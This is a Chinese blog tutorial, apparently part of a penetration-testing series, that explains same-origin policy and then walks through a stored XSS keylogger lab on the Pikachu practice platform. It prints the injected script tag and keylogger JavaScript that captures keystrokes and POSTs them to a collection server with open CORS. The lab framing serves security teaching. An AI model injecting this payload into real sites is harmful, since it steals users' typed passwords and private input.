web渗透测试-从入门到放弃-04XSS-键盘记录

案例-xss键盘记录

1.在实验前,先了解一下什么是跨域

http:// www . xyz.com : 8080 / script/test.js
协议 子域名 主域名 端口 资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域 我们把不同的域之间请求数据的操作,成为跨域操作。

下面的地址同源吗?

http:// www . xyz.com : 8080 / script/test.js
http:// www . xyz.com : 8081 / script/test.js
不同源,端口不一样

http:// www . xyz.com : 8080 / script/test.js
http:// client . xyz.com : 8080 / script/test.js
不同源,子域名不一样

https:// www . xyz.com : 8080 / script/test.js
http:// www. xyz.com : 8080 / script/test.js
不同源,协议不一样

2.跨域-同源策略
而为了安全考虑,所有的浏览器都约定了“同源策略”,同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如:x.com域名下的javascrip并不能操作y.com域下的对象。

如果想要跨域操作,则需要管理员进行特殊的配置。比如通过:header(“Access-Control-Allow-Origin:x.com”)指定。

Tips: 下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。

<script src=“...”>  //js,加载到本地执行 
<img src=“…”>   //图片 
<link href=“…”> //css 
<iframe src=“…”> //任意资源

3.为什么要有同源策略:
A登陆了淘宝,攻击者向A发送一个恶意链接urlb:http://www.盗你cookie.com

如果没有同源策略,即:urlb上的js可以操作A的内容(如:获取cookie等)有了同源策略,就限制了这种情况。

再比如:
一个恶意站点A上使用了,发送该恶意url到攻击对象,攻击对象登 陆后如果没有同源策略,则A上的JS即可获取B站点的登陆信息。

开始实验:
回到存储型xss:
这里构造了一个可以嵌入调用pkxss下rkeypress中的rk.js文件,这个js文件可以通过里面的onkeypress的方法获取输入的值,然后通过show方法中调用一个阿贾克斯的异步请求发送到后台系统中。

<script src="http://192.168.10.130/pikachu/pkxss/rkeypress/rk.js"></script>
function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode);
    xl+=realkey;
    show();
}

document.onkeypress = onkeypress;

function show() {
    ajax = createAjax();
    ajax.onreadystatechange = function () {
        if (ajax.readyState == 4) {
            if (ajax.status == 200) {
                var data = ajax.responseText;
            } else {
                alert("页面请求失败");
            }
        }
    }

然后我们进入我们pkxss站点下rkeypress中,确认rkserver.php文件中
//设置允许被跨域访问
header(“Access-Control-Allow-Origin:*”);

在打开rk.js,对最下面的
ajax.open(“POST”, “http://127.0.0.1/pikachu/pkxss/rkeypress/rkserver.php”,true);
进行修改,地址改为搭建pkxss的站点,后面的目录结构不变。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9tYkwj6U-1576401191917)(C:\Users\嘻嘻嘻\AppData\Roaming\Typora\typora-user-images\1576400243158.png)]

回到存储型xss下,我们点击提交后可以通过F12查看是否成功嵌入了js文件,成功后,我们在框框中随意输入一些东西。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yKgJU4rv-1576401191919)(C:\Users\嘻嘻嘻\AppData\Roaming\Typora\typora-user-images\1576400581694.png)]

然后到后台管理系统中,键盘记录,发现刚刚输入的已经被记录了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VncCEajZ-1576401191920)(C:\Users\嘻嘻嘻\AppData\Roaming\Typora\typora-user-images\1576400620482.png)]

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值